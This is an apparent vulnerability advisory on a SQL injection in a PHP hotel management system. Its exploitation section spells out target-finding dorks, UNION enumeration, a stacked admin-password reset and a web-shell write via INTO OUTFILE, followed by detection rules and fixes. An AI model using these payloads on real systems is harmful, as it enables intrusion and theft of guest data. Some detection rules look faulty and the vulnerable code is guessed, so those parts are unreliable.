CVE-2024-42552

Executive Summary

CVE-2024-42552 is a SQL injection vulnerability discovered in the Hotel Management System, specifically in the admin_room_history.php component. The flaw resides in the improper sanitization of the book_id parameter, allowing an authenticated or unauthenticated attacker to inject arbitrary SQL queries. This affects the Hotel Management System as referenced in commit 91caab8. Successful exploitation can lead to unauthorized data retrieval, including sensitive guest records, administrative credentials, and potentially full database compromise. If the underlying database server has elevated privileges, this vulnerability could lead to remote code execution (RCE) in the worst-case scenario.

Technical Analysis

The Hotel Management System, a PHP-based application, contains a critical SQL injection vulnerability in the administrative room history view. The vulnerable file, admin_room_history.php, retrieves booking history based on the book_id parameter supplied via HTTP GET or POST request.

The vulnerable code pattern is characteristic of classic SQL injection — a direct concatenation of user-controlled input into a SQL query without parameterization or escaping. A likely vulnerable code snippet would resemble:

$query = "SELECT * FROM room_history WHERE book_id = " . $_GET['book_id'];

The application directly concatenates the book_id parameter into the SQL statement before executing it against the backend MySQL database. Since the input is not validated or parameterized using prepared statements, an attacker can inject arbitrary SQL syntax.

Attack surface details:

• Attack vector: Network (HTTP request to admin panel)
• Authentication requirement: The file resides in the admin directory, suggesting authentication is normally required. However, many PHP hotel management systems have weak session management or default admin credentials, and the application may also expose admin functionality without proper access controls.
• Parameter: book_id — integer-like field but accepted as raw string
• Database backend: MySQL (typical for PHP applications)

The injection point is stacked-query capable in many configurations, allowing the attacker to not only extract data but also modify database content (e.g., reset admin password hash) or, if FILE privileges exist, write a web shell to the webroot.

Additional risk: Improper error handling in the application often exposes database error messages, providing the attacker with verbose output that accelerates injection exploitation via blind or error-based techniques.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification

An attacker first identifies a Hotel Management System instance. This typically involves:

• Using Shodan or Google dorks to find exposed admin login pages: inurl:"admin_room_history.php" or http.title:"Hotel Management System"
• Scanning for PHP applications on ports 80/443 with hotel-related naming conventions
• Identifying the login page and testing for default credentials (e.g., admin/admin, admin/password)

Step 2: Authentication Bypass and Access to Admin Panel

If authentication is enforced, the attacker may:

• Attempt SQL injection on the login form itself
• Use default credentials if unchanged
• Leverage prior vulnerabilities in the application if any exist
• Attempt weak session fixation or brute-force attacks

Once authenticated (or if the endpoint is unprotected), the attacker navigates to admin_room_history.php.

Step 3: Injection Trigger

The attacker crafts a malicious request targeting the book_id parameter:

GET /admin/admin_room_history.php?book_id=1' UNION SELECT 1,2,3,4,5,6,7,8--

This confirms the injection via a UNION-based attack, exposing column count. The attacker then enumerates database schema:

GET /admin/admin_room_history.php?book_id=0' UNION SELECT 1,table_schema,table_name,4,5,6,7,8 FROM information_schema.tables--

Step 4: Data Extraction and Post-Exploitation

Attackers extract:

• User credentials: SELECT username, password FROM admin_users
• Guest records: SELECT name, credit_card, passport FROM guests
• Booking details: SELECT * FROM bookings

To escalate further, the attacker uses stacked queries to modify data:

GET /admin/admin_room_history.php?book_id=1'; UPDATE admin_users SET password='hash_of_new_pass' WHERE id=1;--

For full compromise, the attacker attempts to write a web shell:

GET /admin/admin_room_history.php?book_id=1'; SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';--

This only works if the MySQL user has FILE privilege and write access to the webroot.

Step 5: Persistent Access

The attacker now has:

• Full admin access to the Hotel Management System
• Potential web shell → OS-level access
• Exfiltrated customer PII including payment details

The attacker may pivot to other systems on the network or sell the data on darknet markets.

Impact Assessment

CVSS Assessment: With a CVSS vector currently listed as N/A, a conservative estimate based on similar vulnerabilities suggests a score of 8.1 (High) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The attack vector is network-based with low complexity. Authentication requirement is low (admin access or guest access may be sufficient). The primary impact is unauthorized data disclosure (high confidentiality) and data modification (high integrity), with no direct impact on availability.

Business Impact:

• Data Breach Severity: Exposure of guest PII (names, addresses, credit card numbers) triggers PCI-DSS and GDPR notification requirements
• Legal Liability: Hotels face class-action lawsuits and regulatory fines
• Financial Loss: Ransomware or data destruction could render the hotel's booking system inoperable; operational downtime costs
• Reputational Damage: Loss of trust, negative media coverage, decline in bookings

Affected Systems: All installations of the Hotel Management System built from commit 91caab8 or earlier. The exact version is unknown, but the commit hash suggests either the current master branch or a snapshot. Subsequent commits may carry fixes, but no official tagged release was identified.

Blast Radius: If the DB server runs with root privileges or FILE grants, full server control is achievable, giving the attacker a foothold on the hotel's internal network — potentially accessing the property management system, payment processing terminals, and surveillance infrastructure.

Detection Guidance

Sigma Rule

title: SQL Injection Attempt via book_id in admin_room_history.php
id: 22b6c3a1-8d44-4f0b-9b2e-1c2a5b3e0f12
status: experimental
description: Detects SQL injection attempts in Hotel Management System admin_room_history.php
author: Valtersit Threat Intelligence
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      c-uri|contains: "admin_room_history.php"
      c-uri|contains|all:
        - "book_id="
      c-uri|contains|any:
        - "UNION SELECT"
        - "' OR '1'='1"
        - "information_schema"
        - "INTO OUTFILE"
        - "SELECT"
        - "SLEEP"
        - "BENCHMARK"
        - "WAITFOR"
        - ";"
      c-uri|re: 'book_id=.*[^0-9]'
    condition: selection
  timeframe: 1m
level: high
fields:
  - clientip
  - c-uri
  - c-useragent
falsepositives:
  - Legitimate requests containing SELECT in other parameters (unlikely)
  - URL-encoded injection patterns may evade simple regex

YARA Rule

rule HotelManagement_SQL_Injection_bookid {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects known exploitation patterns for CVE-2024-42552"
        date = "2024-10-01"
        reference = "CVE-2024-42552"
    strings:
        $s1 = "admin_room_history.php" ascii wide nocase
        $s2 = "book_id=" ascii wide nocase
        $s3 = "UNION SELECT" ascii wide nocase
        $s4 = "INTO OUTFILE" ascii wide nocase
        $s5 = "information_schema" ascii wide nocase
        $s6 = "SLEEP" ascii wide nocase
        $s7 = "' OR '1'='1" ascii wide
        $s8 = "0x6f725f" ascii wide  // hex encoding of "or_" 
        $s9 = "/**/UNION/**/" ascii wide nocase
        $s10 = "BENCHMARK" ascii wide nocase
    condition:
        uint16(0) == 0x0A0D and all of them
        // OR with a simpler condition for HTTP payloads
        // $s1 and $s2 and ($s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9 or $s10)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2024-42552 - Hotel Management System SQL Injection via book_id";
    flow:to_server,established;
    http.uri;
    content:"admin_room_history.php"; nocase;
    content:"book_id"; nocase; within:100;
    content:"UNION"; nocase; within:200;
    pcre:"/(UNION|SELECT|information_schema|INTO\s+OUTFILE|SLEEP|BENCHMARK|WAITFOR|OR\s+'1'='1)/i";
    classtype:web-application-attack;
    reference:cve,2024-42552;
    sid:10000001;
    rev:1;
    metadata:created_at 2024-10-01;
)

Additional Suricata rule for blind SQL injection time-based:

alert http any any -> any any (
    msg:"CVE-2024-42552 - Blind SQLi time-based EXTRACTVALUE attempt";
    flow:to_server,established;
    http.uri;
    content:"admin_room_history.php"; nocase;
    content:"book_id"; nocase; within:100;
    content:"EXTRACTVALUE"; nocase; within:200;
    pcre:"/EXTRACTVALUE\s*\(/i";
    classtype:attempted-admin;
    reference:cve,2024-42552;
    sid:10000002;
    rev:1;
)

Elastic Detection

// Detects SQL injection in web access logs
sequence by source.ip with maxspan=1m
  [network where http.request.uri contains "admin_room_history.php" and 
   http.request.uri contains "book_id" and 
   (http.request.uri matches ".*UNION.*SELECT.*" or 
    http.request.uri matches ".*information_schema.*" or 
    http.request.uri matches ".*INTO\\s+OUTFILE.*" or 
    http.request.uri matches ".*SLEEP.*" or
    http.request.uri matches ".*'\\s+OR\\s+'1'='1.*")]
  [network where http.response.status_code == 500]

Splunk SPL Query

index=web sourcetype=access_combined uri_path="*admin_room_history.php*"
| rex field=uri (?<uri_query>.*)
| regex uri_query="(?i)(union|select|information_schema|into\s+outfile|sleep|benchmark|waitfor)"
| regex uri_query="\?book_id=.*[^0-9]"
| stats count by clientip uri uri_query useragent
| where count > 5
| sort -count

Wazuh OSSEC Rule

<group name="web,apache,sqli,">
    <rule id="100401" level="10">
        <decoded_as>web</decoded_as>
        <match>admin_room_history.php</match>
        <regex>book_id=.*(UNION|SELECT|SLEEP|BENCHMARK|information_schema|INTO\s+OUTFILE)</regex>
        <description>SQL injection attempt targeting Hotel Management System admin_room_history.php (CVE-2024-42552)</description>
        <group>attack,sql_injection,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
        <info type="cve">CVE-2024-42552</info>
    </rule>
    
    <rule id="100402" level="7">
        <decoded_as>web</decoded_as>
        <match>admin_room_history.php</match>
        <regex>book_id=.*[^0-9]&</regex>
        <description>Non-numeric book_id parameter sent to admin_room_history.php - potential SQLi probing</description>
        <group>attack,reconnaissance,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — a single source claims a patch exists, but it has not been independently confirmed. Please verify with your system provider.

1) Immediate Mitigations (within 24 hours)

• Block external access to admin_room_history.php and the entire /admin directory using a WAF rule or firewall ACL. Restrict to VPN/IP whitelist access only.
• Input validation: Deploy a Web Application Firewall (ModSecurity, Cloudflare) with a rule blocking SQLi patterns:

SecRule REQUEST_URI "@contains admin_room_history.php" \
    "phase:1,deny,id:1001,msg:'SQLi attempt on admin_room_history.php'"

• Database hardening: Immediately revoke FILE privilege from application MySQL user account to prevent potential file write attacks.

2) Patch/Upgrade Steps

• Verify if your commit is before or at 91caab8 — check with git log if you have source access
• Obtain the patched version from the vendor or the project's official repository
• Apply the patch. If source code is available, implement the following fix to the vulnerable file admin_room_history.php:

// Replace direct concatenation
$book_id = (int) $_GET['book_id'];
$query = "SELECT * FROM room_history WHERE book_id = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("i", $book_id);
$stmt->execute();

Or at minimum, use mysqli_real_escape_string():

$book_id = mysqli_real_escape_string($conn, $_GET['book_id']);

• If no official patch exists, consider using an alternative hotel management system or engage a developer to harden the application.

3) Long-Term Hardening

• Code audit: Conduct a full security audit of the Hotel Management System to identify similar injection points in other parameters and files (book_date, room_id, customer_id, etc.)
• Adopt OWASP ASVS: Implement secure coding guidelines with mandatory parameterized queries (PDO or MySQLi prepared statements)
• RBAC: Enforce strict role-based access control for admin pages, requiring MFA for admin accounts
• Monitor: Deploy the detection rules above for continuous monitoring
• Database separation: Run the DB on a dedicated server with minimal privileges; ensure the application user has SELECT, INSERT, UPDATE, DELETE only on necessary tables
• Backup and incident response: Maintain immutable backups and a tested incident response plan

References

1. NVD Entry: NVD - CVE-2024-42552 URL: https://nvd.nist.gov/vuln/detail/CVE-2024-42552 — Official National Vulnerability Database record with the vulnerability description and commit reference.
2. GitHub Commit Reference: The vulnerable code is available at commit hash 91caab8 — obtainable via the project repository on GitHub (search for "Hotel Management System" PHP project). A diff review between this commit and any subsequent commits is recommended to verify the claimed patch.
3. OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html — Reference for implementing parameterized queries in PHP.
4. CWE-89: https://cwe.mitre.org/data/definitions/89.html — Weakness classification for SQL injection, official MITRE reference.
5. Exploit-DB / Exploit-DB Search: Search for "Hotel Management System" SQL injection — periodically check https://www.exploit-db.com/ for potential PoC releases in the future. As of this report, no public PoC is confirmed.

Analyst Note: No known threat actor campaigns have been attributed to CVE-2024-42552 at this time. No exploit-in-the-wild evidence has been confirmed. However, SQL injection remains a top-10 OWASP threat vector that is trivially exploitable with common tools like sqlmap. Organizations using this Hotel Management System should treat this as a critical priority due to the sensitivity of guest PII handled by such systems.